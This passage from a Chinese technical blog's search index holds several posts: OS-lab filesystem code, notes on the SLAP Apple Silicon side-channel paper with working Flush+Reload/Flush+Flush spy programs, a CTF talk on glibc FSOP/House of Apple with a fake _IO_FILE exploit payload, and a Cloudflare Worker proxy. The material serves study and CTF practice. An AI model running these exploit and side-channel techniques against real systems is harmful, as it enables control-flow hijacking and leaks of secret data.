20114, 336123},{\"/share/fonts/Courier-7.bdf\", 19567, 356237},{\"/share/fonts/Courier-12.bdf\", 24339, 375804},{\"/bin/file-test\", 61728, 400143},{\"/bin/dummy\", 41536, 461871},{\"/bin/time-test\", 45880, 503407},{\"/bin/hello\", 46000, 549287},{\"总计\", 595287, 595287},\n一些 makefile 技巧:\nRAMDISK = build/ramdisk.imgRAMDISK_H = build/ramdisk.h$(RAMDISK): fsimg $(eval FSIMG_FILES := $(shell find -L ./fsimg -type f)) @mkdir -p $(@D) @cat $(FSIMG_FILES) > $@ @truncate -s \\%512 $@ @echo \"// file path, file size, offset in disk\" > $(RAMDISK_H) @wc -c $(FSIMG_FILES) | grep -v 'total$$' | sed -e 's+ ./fsimg+ +' | awk -v sum=0 '{print \"\\x7b\\x22\" $$2 \"\\x22\\x2c \" $$1 \"\\x2c \" sum \"\\x7d\\x2c\";sum += $$1}' >> $(RAMDISK_H)\n虚拟文件系统\n对应 5 个文件操作 fs_open, fs_read,\nfs_write, fs_lseek, fs_close.\nsize_t fs_open(char* pathname, int flags, int mode) { for (int i = 0; i < file_cnt; i++) { if (strcmp(pathname, file_table[i].name) == 0) { file_table[i].open_offset = 0; return i; } } printf(\"no such file\"); return -1;}size_t fs_read(int fd, void *buf, size_t len) { assert(fd < file_cnt); Finfo *f = &file_table[fd]; size_t real_len = len; if (f->read == NULL && f->open_offset + len > f->size) { real_len = f->size - f->open_offset; } size_t ret; if (f->read) { ret = f->read(buf, f->open_offset, real_len); } else { ret = ramdisk_read(buf, f->disk_offset + f->open_offset, real_len); } f->open_offset += ret; return ret;}size_t fs_write(int fd, const void *buf, size_t len) { assert(fd < file_cnt); Finfo *f = &file_table[fd]; size_t real_len = len; if (f->write == NULL && f->open_offset + len > f->size) { real_len = f->size - f->open_offset; } size_t ret; if (f->write) { ret = f->write(buf, f->open_offset, real_len); } else { ret = ramdisk_write(buf, f->disk_offset + f->open_offset, real_len); } f->open_offset += ret; return ret;}off_t fs_lseek(int fd, off_t offset, int whence) { assert(fd < file_cnt); Finfo *f = &file_table[fd]; int64_t next_offset = f->open_offset; switch (whence) { case SEEK_SET: next_offset = offset; break; case SEEK_CUR: next_offset += offset; break; case SEEK_END: next_offset = f->size + offset; break; default: return -1; } if (next_offset < 0) next_offset = 0; if (next_offset > f->size) next_offset = f->size; f->open_offset = (size_t)next_offset; return f->open_offset;}int fs_close(int fd) {return 0;}\n操作系统之上的 IOE\n实现 gettimeofday\n回顾一下之前的时钟实现\nsize_t gettimeofday(struct timeval *tv, struct timezone *tz) { uint64_t time = io_read(AM_TIMER_UPTIME).us; tv->tv_sec = time / 1000000; tv->tv_usec = time % 1000000; return 0;} case SYS_gettimeofday: { LOG_CALL(\"SYS_gettimeofday\"); c->GPRx = gettimeofday((struct timeval *)a[1], NULL); break; }\n然后写一个测试程序\n#include <stdio.h>#include </home/ubuntu/ics2024/navy-apps/libs/libos/src/syscall.c>#include <sys/time.h>int main() { volatile struct timeval now; _gettimeofday(&now, NULL); uint64_t last_us = (uint64_t)now.tv_sec * 1000000 + now.tv_usec; while (1) { _gettimeofday(&now, NULL); uint64_t current_us = (uint64_t)now.tv_sec * 1000000 + now.tv_usec; if (current_us - last_us >= 500000) { printf(\"0.5 seconds have passed!\\n\"); fflush(stdout); last_us += 500000; } } return 0;}\nvolatile 是必须的,\n不然编译器可能会认为这个变量短时间不会变化, 将其缓存到寄存器中\n\n\nWith volatile\n\n\n\nWithout volatile\n\nReferences\n\nhttps://lf-riscv.atlassian.net/wiki/spaces/HOME/pages/16154769/RISC-V+Technical+Specifications#ISA-Specifications\nhttps://gcc.gnu.org/onlinedocs/gcc-15.1.0/gcc.pdf\nhttps://elixir.bootlin.com/glibc/glibc-2.42.9000/source\nhttps://gist.github.com/x0nu11byt3/bcb35c3de461e5fb66173071a2379779#file-elf_format_cheatsheet-md\n\n","categories":["Study"],"tags":["ICS"]},{"title":"论文阅读笔记:Apple Silicon 上的地址预测和侧信道","url":"/categories/Study/apple-slap/","content":"Paper\nreading: SLAP: Data Speculation Attacks via Load Address Prediction\non Apple Silicon\n\n\n\nhttps://ieeexplore.ieee.org/document/11023377\n\nAbstract\n这篇论文研究了 Apple Silicon 上的 Load Address 预测机制 (LAP).\n通过对 LAP 的分析、利用实现了通过侧信道的信息泄漏, 绕过 ASLR, 影响控制流,\n并且在 Safari 中构造了一个越界读原语.\nSpeculation and Spectre\n现代 CPU 为了提升性能, 往往会引入预测执行技术 (Speculative Execution).\n例如分支预测 (branch prediction),\n其中动态分支预测会基于运行时的动态执行信息,自适应地对分支预测情况做动态调整:\n\n\nState diagram of 2-bit saturating\ncounter\n\nSpectre 是一个利用预测执行来获取敏感数据的漏洞, 它通过侧信道,\n获取 CPU 预测执行错误产生的敏感数据.\n为了进一步提高 CPU 的性能,\n架构师还提出了对数据流的预测来缓解数据冒险 (Data Hazards).\n本篇论文主要聚焦于这种现代 CPU 上的数据预测机制以及其安全性的研究.\nBackground\nCache Organization\non Apple Silicon\nApple CPUs 使用大小核的架构将核心分为 Performance (P)\ncores 和 Efficiency (E) cores. 每个核心都有私有的 L1\ncaches 和同种核心共享的 L2 caches. 这些缓存划分为缓存组,\n对于任何一个内存地址, 只能存放到由这个地址部分确定的缓存组中.\nSide-Channel Attacks on\nCaches\n由于缓存是共享给所有进程的,\n通过测量获得确定数据的延迟可以推测目标进程的秘密活动.\n先前的工作可以总结成如下几种方式:\nFlush+Reload\n\\(Flush+Reload\\) 是一种基于 Page\nSharing, 针对 Last-Level Cache 的侧信道攻击.\n攻击流程分为三个阶段:\n\n驱逐目标内存行的缓存\n等待目标程序去访问\n重新加载内存行, 并测量花费的时间\n\n\n根据时间的长短, 我们可以归类为上图的几类情形.\nint probe(void* adrs) { volatile unsigned long time; asm __volatile__ ( \" mfence \\n\" \" lfence \\n\" \" rdtsc \\n\" \" lfence \\n\" \" movl %%eax, %%esi \\n\" \" movl (%1), %%eax \\n\" \" lfence \\n\" \" rdtsc \\n\" \" subl %%esi, %%eax \\n\" \" clflush 0(%1) \\n\" : \"=a\" (time) : \"c\" (adrs) : \"%esi\", \"%edx\" ); return time; }\nmfence 和 lfence 确保先前的内存操作都已完成,\n防止乱序执行\nrdtsc 读取 CPU 时间戳计数器 (TSC) 的值到 EDX:EAX\n由于架构差异, 在我的 AMD Zen 4\nCPU 上似乎无法进行利用.\n但是基于类似的思路, 我们可以尝试 flush+flush 的攻击:\n 缓存命中时 clflush 慢:如果一个内存位置(缓存行)当前在\nCPU 缓存中 (Hit),处理器执行 clflush\n指令来清空它,需要花费额外的时间将该缓存行写回或逐出到更低一级缓存或主内存。\n 缓存缺失时 clflush 快:\n如果一个内存位置不在任何一级缓存中 (Miss),处理器执行\nclflush\n时,只需要做一次快速的检查和无效化操作,耗时非常短。\n我们编写一个共享库 shared_target.c\n#include <stdio.h>#include <unistd.h>#include <string.h>void target_function(int counter) { volatile int a = 1; a = a + counter; if (counter % 100000 == 0) { fprintf(stderr, \"[Victim] 访问目标函数. 计数: %d\\n\", counter); }}void *get_target_address() { return (void *)&target_function;}\n一个目标程序 victim.c\n#include <stdio.h>#include <stdlib.h>#include <dlfcn.h>#include <unistd.h>typedef void (*TargetFunc)(int);typedef void* (*GetAddrFunc)();int main(int argc, char *argv[]) { void *handle; TargetFunc target_func; GetAddrFunc get_addr_func; handle = dlopen(\"./libtarget.so\", RTLD_LAZY); if (!handle) { fprintf(stderr, \"错误: 无法加载共享库: %s\\n\", dlerror()); return 1; } target_func = (TargetFunc)dlsym(handle, \"target_function\"); if (!target_func) { fprintf(stderr, \"错误: 无法找到 target_function: %s\\n\", dlerror()); dlclose(handle); return 1; } printf(\"[Victim] target address: %p\\n\", target_func); getchar(); int counter = 0; while (1) { target_func(counter++); for (volatile int i = 0; i < 50; i++); } dlclose(handle); return 0;}\n然后编写一个 flush+flush 的验证程序\n#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <time.h>#include <dlfcn.h>static inline void flush(void *p) { asm volatile (\"clflush 0(%0)\" : : \"r\" (p) : \"memory\");}static inline uint64_t flush_and_time(void *p) { uint32_t hi, lo; uint64_t start, end; asm volatile (\"rdtscp\" : \"=a\"(lo), \"=d\"(hi)); start = ((uint64_t)hi << 32) | lo; flush(p); asm volatile (\"rdtscp\" : \"=a\"(lo), \"=d\"(hi)); end = ((uint64_t)hi << 32) | lo; asm volatile (\"lfence\" : : : \"memory\"); return end - start;}#define THRESHOLD 100#define MEASUREMENT_COUNT 100000int main() { uint64_t total_time = 0; int hit_count = 0; int miss_count = 0; void *handle = dlopen(\"./libtarget.so\", RTLD_LAZY); if (!handle) { fprintf(stderr, \"错误: 无法加载共享库 libtarget.so: %s\\n\", dlerror()); return 1; } void *target_ptr = dlsym(handle, \"target_function\"); if (!target_ptr) { fprintf(stderr, \"错误: 无法找到 target_function: %s\\n\", dlerror()); dlclose(handle); return 1; } printf(\"Address: %p\\n\", target_ptr); printf(\"Threshold (Cycles): %d\\n\", THRESHOLD); for (int i = 0; i < 1000; i++) { flush(target_ptr); } for (int i = 0; i < MEASUREMENT_COUNT; i++) { uint64_t time = flush_and_time(target_ptr); total_time += time; if (time > THRESHOLD) { hit_count++; } else { miss_count++; } for (volatile int j = 0; j < 50; j++); } printf(\"----------------------------------------\\n\"); printf(\"总测量次数: %d\\n\", MEASUREMENT_COUNT); printf(\"平均 Flush 时间: %.2f 周期\\n\", (double)total_time / MEASUREMENT_COUNT); printf(\"慢速 Flush (推测命中): %d 次\\n\", hit_count); printf(\"快速 Flush (推测缺失): %d 次\\n\", miss_count); return 0;}\nMakefile:\nCC = gccCFLAGS = -Wall -Wextra -std=c11SHARED_FLAGS = -c -fPICLINK_SHARED_FLAGS = -sharedLINK_DYNAMIC = -ldlTARGET_LIB = libtarget.soTARGET_VICTIM = victimTARGET_SPY = spySHARED_OBJ = shared_target.o.PHONY: all cleanall: $(TARGET_VICTIM) $(TARGET_SPY)$(TARGET_LIB): $(SHARED_OBJ) $(CC) $(LINK_SHARED_FLAGS) $(SHARED_OBJ) -o $@$(SHARED_OBJ): shared_target.c $(CC) $(SHARED_FLAGS) $(CFLAGS) $< -o $@$(TARGET_VICTIM): victim.c $(TARGET_LIB) $(CC) $< -o $@ $(LINK_DYNAMIC) ./$(TARGET_LIB)$(TARGET_SPY): main.c $(TARGET_LIB) $(CC) $< -o $@ $(LINK_DYNAMIC) ./$(TARGET_LIB)clean: rm -f $(TARGET_LIB) $(TARGET_VICTIM) $(TARGET_SPY) $(SHARED_OBJ)\n\n\nA dry run\n\n\nPrime+Probe\n相比于可能需要特权才能执行的 \\(Flush+Reload\\), \\(Prime+Probe\\) 是一种在非特权下也可行的 Last-Level\nCache 侧信道攻击.\n攻击流程也比较类似:\n\n攻击者访问一组目标地址, 这将填充一个缓存组 (cache\nset) 中的多个缓存行\n等待一段时间\n攻击者再次访问目标地址, 并测量花费的时间\n\n这里还涉及到如何寻找这组目标地址的问题,\n这组地址也被称为驱逐集 (eviction set).\n不过这又可以单独开个坑去了解了 (\nhttps://arxiv.org/pdf/1810.01497\nControl Hazards and\nSpeculative Execution\n这里主要是说预测执行错误导致的 Control Hazards,\n产生的缓存数据没有被撤销. 导致了可能的侧信道攻击.\nData Hazards and\nOut-of-Order Execution\n类似地, 由于现代 CPU 的乱序执行机制,\n有时候会产生当前指令需要使用之前指令的运算结果,\n但是结果还没有写回的情形, 被称为 Data Hazards.\n在下列 Data hazards 的情形中:\n\nRead-After-Write(RAW)\n当前指令的源操作数是先前指令的目的操作数\nADD X1, X2, X3;SUBS X4, X1, X5;\nWrite-After-Read(WAR)\n寄存器被一条旧的指令读取和新的指令写入\nLDR X4,[X5];ADD X5, X6, X7;\nWrite-After-Write(WAW)\n寄存器被一条旧的指令写入和新的指令写入\nADD X1, X2, X3;ADD X1, X4, X5;\n\n其中, WAR 和 WAW 可以通过寄存器重命名解决 (Register Renaming).\n而情形 1 由于必须等待先前指令的完成, 只能按顺序执行这些指令.\nLoad Address Prediction\n这种预测是本文主要所研究的, 一个 Load Address\nPredictor (LAP) 的行为由下图所示.\n\nLAPs 一般会记录在 0xabcd 中的地址 x1.\n如果这个地址是可预测的, 那就会提前加载所预测的地址,\n并在指令执行的时候直接转发. 如果预测不正确, 那么 CPU 会冲刷流水线 (Pipeline\nFlush) 并且从正确的加载地址处继续执行.\nReverse Engineering the LAP\n在这节中, 论文中介绍了如何确认 LAP 在 Apple\nSilicon 的存在以及具体机制.\n\n使用以下的 array, 并且测量指令的执行时间:\n\n\n可看出在 M2 (P), M3 (P) 中的加载时间变小了.\n接下来, 引入了一种实验方法 SA+RV (Striding Addresses from Random\nValues), 来确定这是 LAP\n内存布局如下:\n\n并且修改了遍历逻辑:\n\n这样, array 中的值是随机的, 而加载地址仍是可预测的.\n在 M2 (P) 和 M3 (P) 上测试发现 LAP 存在:\n\n为了进一步探究 LAP 的机制, 先前的测试过程中都是预测一直正确的情况,\n通过另一种设计, 来让预测发生错误.\n\n使用之前所提到的 Flush+Reload,\n可以判断出 CPU 是否访问了 Secret.\n\n基于上面 Figure 5 的结果, 实验使用了 501 个 nodes 的链表, 500 个 striding\ndata pointer. 并且给出了下列的访问延迟图表:\n\n可见 CPU 访问了 Secret.\nSpatial Conditions for\nSpeculation\n通过设置不同的测试条件, 可以测量 LAP 的具体工作条件.\n\nTemporal Conditions for\nSpeculation\n在 Listing 3 的基础上进行修改,\n增加一些空转指令来测量侧信道的时间窗口\n\n论文分别测量了在 Line 3 和 Line 7 插入 mul 的结果:\n\n\nWeaponizing the LAP for\nAttacks\n这里介绍了两种基于 LAP 的攻击方法\nSpectre-LAP\n回顾之前访问 Secret 的方法, 使用如下的结构和代码,\n造成了一个 8 字节的越界读.\n\n\nHijacking Control Flow\n用调用函数替代数据的访问, 来测试 LAP 是否会同样进行预测\n\n\nBreaking ASLR on macOS\n在 macOS 的内核 XNU 中, 其二进制入口点会在一个固定的区间上,\n并且在头部存在一个 magic bytes:0xfeedfacf.\n在不同的页上搜寻这串魔数, 就能绕过 ASLR.\n下表是论文中对三种攻击的成功率统计\n\nReferences\n\nhttps://zhuanlan.zhihu.com/p/561643046\nhttps://en.wikipedia.org/wiki/Branch_predictor\nFLUSH+RELOAD: a high\nresolution, low noise, L3 cache side-channel attack\nhttps://mstmoonshine.github.io/p/flush-reload/\n\n","categories":["Study"],"tags":["Side Channel Attack","Load Address Prediction","Paper Reading"]},{"title":"Vidar 分享会 - FSOP","url":"/categories/CTF/vidarshare-fsop/","content":"I. FSOP\n\nFSOP 是 File Stream Oriented Programming 的缩写。\nFSOP 的核心思想就是劫持\n_IO_list_all 的值来伪造链表和其中的\n_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP\n选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个\nFILE 调用\nfflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。\n\n\nII. RTFSC\n下面我将以 glibc-2.39 源码为例,分析 FSOP 的一个实际应用 ---House of\nApple (2)1 涉及的原理。\n_IO_FILE\n/libio/bits/types/struct_FILE.h 中有如下定义:\nstruct _IO_FILE{ int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ /* The following pointers correspond to the C++ streambuf protocol. */ char *_IO_read_ptr; /* Current read pointer */ char *_IO_read_end; /* End of get area. */ char *_IO_read_base; /* Start of putback+get area. */ char *_IO_write_base; /* Start of put area. */ char *_IO_write_ptr; /* Current put pointer. */ char *_IO_write_end; /* End of put area. */ char *_IO_buf_base; /* Start of reserve area. */ char *_IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; int _flags2; __off_t _old_offset; /* This used to be _offset but it's too small. */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; _IO_lock_t *_lock;#ifdef _IO_USE_OLD_IO_FILE};struct _IO_FILE_complete{ struct _IO_FILE _file;#endif __off64_t _offset; /* Wide character stream stuff. */ struct _IO_codecvt *_codecvt; struct _IO_wide_data *_wide_data; struct _IO_FILE *_freeres_list; void *_freeres_buf; size_t __pad5; int _mode; /* Make sure we don't get into trouble again. */ char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];};\n使用 gdb,可以得到其成员的相对偏移:\n\n\nimg\n\nExit () 调用过程\n__run_exit_handlers()\nexit() 在 /stdlib/exit.c 有定义:\n#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <pointer_guard.h>#include <libc-lock.h>#include <set-freeres.h>#include \"exit.h\"/* Initialize the flag that indicates exit function processing is complete. See concurrency notes in stdlib/exit.h where __exit_funcs_lock is declared. */bool __exit_funcs_done = false;/* Call all functions registered with `atexit' and `on_exit', in the reverse of the order in which they were registered perform stdio cleanup, and terminate program execution with STATUS. */voidattribute_hidden__run_exit_handlers (int status, struct exit_function_list **listp, bool run_list_atexit, bool run_dtors){ /* First, call the TLS destructors. */ if (run_dtors) call_function_static_weak (__call_tls_dtors); __libc_lock_lock (__exit_funcs_lock); /* We do it this way to handle recursive calls to exit () made by the functions registered with `atexit' and `on_exit'. We call everyone on the list and use the status value in the last exit (). */ while (true) { struct exit_function_list *cur; restart: cur = *listp; if (cur == NULL) { /* Exit processing complete. We will not allow any more atexit/on_exit registrations. */ __exit_funcs_done = true; break; } while (cur->idx > 0) { struct exit_function *const f = &cur->fns[--cur->idx]; const uint64_t new_exitfn_called = __new_exitfn_called; switch (f->flavor) { void (*atfct) (void); void (*onfct) (int status, void *arg); void (*cxafct) (void *arg, int status); void *arg; case ef_free: case ef_us: break; case ef_on: onfct = f->func.on.fn; arg = f->func.on.arg; PTR_DEMANGLE (onfct); /* Unlock the list while we call a foreign function. */ __libc_lock_unlock (__exit_funcs_lock); onfct (status, arg); __libc_lock_lock (__exit_funcs_lock); break; case ef_at: atfct = f->func.at; PTR_DEMANGLE (atfct); /* Unlock the list while we call a foreign function. */ __libc_lock_unlock (__exit_funcs_lock); atfct (); __libc_lock_lock (__exit_funcs_lock); break; case ef_cxa: /* To avoid dlclose/exit race calling cxafct twice (BZ 22180), we must mark this function as ef_free. */ f->flavor = ef_free; cxafct = f->func.cxa.fn; arg = f->func.cxa.arg; PTR_DEMANGLE (cxafct); /* Unlock the list while we call a foreign function. */ __libc_lock_unlock (__exit_funcs_lock); cxafct (arg, status); __libc_lock_lock (__exit_funcs_lock); break; } if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called)) /* The last exit function, or another thread, has registered more exit functions. Start the loop over. */ goto restart; } *listp = cur->next; if (*listp != NULL) /* Don't free the last element in the chain, this is the statically allocate element. */ free (cur); } __libc_lock_unlock (__exit_funcs_lock); if (run_list_atexit) call_function_static_weak (_IO_cleanup); _exit (status);}voidexit (int status){ __run_exit_handlers (status, &__exit_funcs, true, true);}libc_hidden_def (exit)\n_IO_cleanup()\n在__run_exit_handlers 中调用了_IO_cleanup,它在 /libio/genops.c 中有定义:\nint_IO_cleanup (void){ int result = _IO_flush_all (); /* We currently don't have a reliable mechanism for making sure that C++ static destructors are executed in the correct order. So it is possible that other static destructors might want to write to cout - and they're supposed to be able to do so. The following will make the standard streambufs be unbuffered, which forces any output from late destructors to be written out. */ _IO_unbuffer_all (); return result;}\n_IO_flush_all()\n同样在这个文件中,可以找到_IO_flush_all:\nint_IO_flush_all (void){ int result = 0; FILE *fp;#ifdef _IO_MTSAFE_IO _IO_cleanup_region_start_noarg (flush_cleanup); _IO_lock_lock (list_all_lock);#endif for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain) { run_fp = fp; _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; _IO_funlockfile (fp); run_fp = NULL; }#ifdef _IO_MTSAFE_IO _IO_lock_unlock (list_all_lock); _IO_cleanup_region_end (0);#endif return result;}\nvoid_cthreads_flockfile (FILE *fp){ _IO_lock_lock (*fp->_lock);}// ...void _IO_flockfile (FILE *) __attribute__ ((alias (\"_cthreads_flockfile\")));// ...\n_IO_FILE_plus 在 /libio/stdfiles.c 有定义\n主要关注这个函数中的判断条件,如果前面的条件满足,会进入_IO_OVERFLOW (fp, EOF),这是一个宏定义,位于 /libio/libioP.h:\n/* Type of MEMBER in struct type TYPE. */#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)/* Essentially ((TYPE *) THIS)->MEMBER, but avoiding the aliasing violation in case THIS has a different pointer type. */#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \\ (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \\ + offsetof(TYPE, MEMBER)))//...#define _IO_JUMPS_FILE_plus(THIS) \\ _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)//...# define _IO_JUMPS_FUNC(THIS) \\ (IO_validate_vtable \\ (*(struct _IO_jump_t **) ((void +*) &_IO_JUMPS_FILE_plus (THIS) \\ + (THIS)->_vtable_offset)))\t//...#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)//...#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)//...IO_validate_vtable (const struct _IO_jump_t *vtable){ uintptr_t ptr = (uintptr_t) vtable; uintptr_t offset = ptr - (uintptr_t) &__io_vtables; if (__glibc_unlikely (offset >= IO_VTABLES_LEN)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable;}\n如果通过合法性检查,那么会执行_vtable->__overflow\n#define JUMP_FIELD(TYPE, NAME) TYPE NAME//...struct _IO_jump_t{//... JUMP_FIELD(_IO_overflow_t, __overflow);//...}\n这里__overflow 是_IO_jump_t vtable 中的虚函数,这是 GLIBC 中实现 I/O 多态的核心机制\nvtable2\n通过虚函数表(vtable)为不同类型的文件流(如文件、内存流、字符串流)提供统一的接口,同时允许不同流类型自定义底层操作(如读、写、缓冲区管理)。\n我们可以在 /libio/vtables.c 中找到相关的定义。\nconst struct _IO_jump_t __io_vtables[] attribute_relro ={ /* _IO_str_jumps */ [IO_STR_JUMPS] = { JUMP_INIT_DUMMY, JUMP_INIT (finish, _IO_str_finish), //... }, [IO_WSTR_JUMPS] = { JUMP_INIT_DUMMY, JUMP_INIT (finish, _IO_wstr_finish), //... }, //...}\n也就是说,__overflow\n实际是执行__io_vtables 中已定义的相关函数。如 finish,会根据不同 I/O 类型执行不同函数,例如 [IO_STR_JUMPS] 中指向_IO_str-finish;[IO_WSTR_JUMPS] 中指向_IO_wstr_finish。\nIII. House of Apple\n在上一节中,我们知道在_IO_JUMPS_FUNC(THIS) 这个宏中验证了 const struct _IO_jump_t *vtable 是否是合法的:即它指向的地址是否在__io_vtables 的范围内。这也让我们不能通过直接伪造 vtable 来控制程序执行流。\n然而,我们仍有机会修改 vtable 为不同的合法虚表。这导致了后续函数执行过程中存在可利用的漏洞。\n构造_IO_FILE_plus\n使用 House of Apple 的前提是 Large bin\nattack,它将一个堆地址写在任意地址处。\n这里将 &_IO_list_all 处写可控堆地址,然后开始伪造_IO_FILE_plus。\n由于 Large bin\nattack 是把堆的头部 prev_size 地址写入,而一般我们只能从 fd 域开始编辑,所以下文的伪造会从 fd 开始。\nfake_io = flat({ 0x18:[ p64(1) # _IO_write_ptr [fp->_IO_write_ptr > fp->_IO_write_base] ], 0x60:[ p32(0) # _fileno ], 0x78:[ p64(_IO_stdfile_2_lock) # *_lock [_IO_flockfile (fp);] ], 0xb0:[ p32(0xFFFFFFFF) # _mode [fp->_mode <= 0] ]})\n_wide_data 调用链\n尽管无法直接通过修改 vtable 控制执行流,但是_wide_data->_wide_vtable 在执行时缺少安全检查。\n因此我们可以构造如下调用链,其中涉及到的方法和宏可自行查阅:\n_IO_OVERFLOW (fp, EOF)->(_IO_overflow_t) _IO_wfile_overflow->_IO_wdoallocbuf (f)->_IO_WDOALLOCATE (fp)->Backdoor(fp) # fake vtable points at\n构造_wide_data,\n_wide_vtable\n为了使用上面的调用链,需要修改 *_wide_data 到我们伪造的_IO_wide_data。\n这里有一个巧妙的处理,我们可以将其指向之前伪造的_IO_FILE_plus 处,因为_IO_wide_data 中部分成员是与_IO_FILE 相同的。\n然后在_wide_data->_wide_vtable 处写构造的 vtable 地址。\n\n\n_IO_stdfile_2_lock = libc_base + 0x205700 # find your offset in gdbIO_file_addr = heap_base + 0x0d00IO_wide_data_addr = IO_file_addrwide_vtable_addr = file_addr + 0xe8-0x68 fake_io = flat({ 0x18:[ p64(1) # _IO_write_ptr [fp->_IO_write_ptr > fp->_IO_write_base] ], 0x60:[ p32(0) # _fileno ], 0x78:[ p64(_IO_stdfile_2_lock) # *_lock [_IO_flockfile (fp);] ], 0x90:[ p64(IO_wide_data_addr) # *_wide_data ], 0xb0:[ p32(0xFFFFFFFF) # _mode [fp->_mode <= 0] ], 0xc8:[ p64(libc_base+libc.sym['_IO_wfile_jumps']) # vtable ], 0xd0:[ p64(wide_vtable_addr) ], 0xd8:[ p64(gadget) ]})\n这样,就控制了程序执行流,并且 $rdi = &fp。\n对于 House of Apple 的实践,您也可以阅读我的这篇文章:HGAME\n2025 Week 2 Writeup\nReferences\n\n\n\n看雪:House of apple\n一种新的 glibc 中 IO 攻击方法↩︎\n看雪:Pwn 堆利用学习 ——\nFSOP、House of Orange↩︎\n\n\n","categories":["CTF"],"tags":["pwn","FSOP","House of Apple"]},{"title":"Cloudflare Worker 反向代理尝试","url":"/categories/Web/cloudflare-worker-proxy/","content":"前言\n由于友链页面有使用图片的要求,同时为其他人的站点提供相关的图片资源(虽然使用现成的 GitHub\nPage 就可以基本实现,但是 Page 所在的仓库是公开的),尝试通过 GitHub 作为图床解决这个问题。然而,访问速度和稳定性都无法得到保证,为此通过网上搜索学习了一下反向代理\n(Reverse Proxy) 的相关知识。\n\n什么事反向代理\n在这之前,先来看看什么是正向代理 1 (Forward Proxy):\n客户端通过代理服务器去请求服务器的资源。\n\n\nTwo computers connected via a proxy\nserver. The first computer says to the proxy server: \"ask the second\ncomputer what the time is\".\n\n使用正向代理需要客户端进行一些设置,即配置代理服务器。\n而反向代理 2 是指代理服务器向服务器转交请求,并返回内容给客户端,客户端将其认为是原始服务器。\n\n\nA proxy server connecting the Internet to\nan internal network.\n\n搭建反向代理服务\n创建图床仓库\n在 GitHub 中创建一个仓库,可以选择是否是私密的。\n\n在 Personal Access\nTokens (Classic) 处创建一个新的 token,勾选 repo\n下所有权限。\n\n过期时间我偷懒选了永不过期,不过这样肯定会导致安全性降低的。生成 token 后放在安全的地方,刷新后就看不见了。\n配置 Worker\nCloudflare\nWorkers\n提供了这样的服务,但是免费使用具有一定的请求限制。在仪表板中添加一个\nWorker,这里命名为 assets。使用的代码如下:\nconst upstream = \"raw.githubusercontent.com\";// Custom pathname for the upstream website.// (1) 填写代理的路径,格式为 /<用户>/<仓库名>/<分支>const upstream_path = \"/avasummer/assets/main\";// github personal access token.// (2) 填写github令牌const github_token = \"your_tokenhere\";// Website you intended to retrieve for users using mobile devices.const upstream_mobile = upstream;// Countries and regions where you wish to suspend your service.const blocked_region = [];// IP addresses which you wish to block from using your service.const blocked_ip_address = [\"0.0.0.0\", \"127.0.0.1\"];// Whether to use HTTPS protocol for upstream address.const https = true;// Whether to disable cache.const disable_cache = false;// Replace texts.const replace_dict = { $upstream: \"$custom_domain\",};addEventListener(\"fetch\", (event) => { event.respondWith(fetchAndApply(event.request));});async function fetchAndApply(request) { const region = request.headers.get(\"cf-ipcountry\")?.toUpperCase(); const ip_address = request.headers.get(\"cf-connecting-ip\"); const user_agent = request.headers.get(\"user-agent\"); let response = null; let url = new URL(request.url); let url_hostname = url.hostname; if (https == true) { url.protocol = \"https:\"; } else { url.protocol = \"http:\"; } if (await device_status(user_agent)) { var upstream_domain = upstream; } else { var upstream_domain = upstream_mobile; } url.host = upstream_domain; if (url.pathname == \"/\") { url.pathname = upstream_path; } else { url.pathname = upstream_path + url.pathname; } if (blocked_region.includes(region)) { response = new Response( \"Access denied: WorkersProxy is not available in your region yet.\", { status: 403, } ); } else if (blocked_ip_address.includes(ip_address)) { response = new Response( \"Access denied: Your IP address is blocked by WorkersProxy.\", { status: 403, } ); } else { let method = request.method; let request_headers = request.headers; let new_request_headers = new Headers(request_headers); new_request_headers.set(\"Host\", upstream_domain); new_request_headers.set(\"Referer\", url.protocol + \"//\" + url_hostname); new_request_headers.set(\"Authorization\", \"token \" + github_token); let original_response = await fetch(url.href, { method: method, headers: new_request_headers, body: request.body, }); connection_upgrade = new_request_headers.get(\"Upgrade\"); if (connection_upgrade && connection_upgrade.toLowerCase() == \"websocket\") { return original_response; } let original_response_clone = original_response.clone(); let original_text = null; let response_headers = original_response.headers; let new_response_headers = new Headers(response_headers); let status = original_response.status; if (disable_cache) { new_response_headers.set(\"Cache-Control\", \"no-store\"); } else { new_response_headers.set(\"Cache-Control\", \"max-age=43200000\"); } new_response_headers.set(\"access-control-allow-origin\", \"*\"); new_response_headers.set(\"access-control-allow-credentials\", true); new_response_headers.delete(\"content-security-policy\"); new_response_headers.delete(\"content-security-policy-report-only\"); new_response_headers.delete(\"clear-site-data\"); if (new_response_headers.get(\"x-pjax-url\")) { 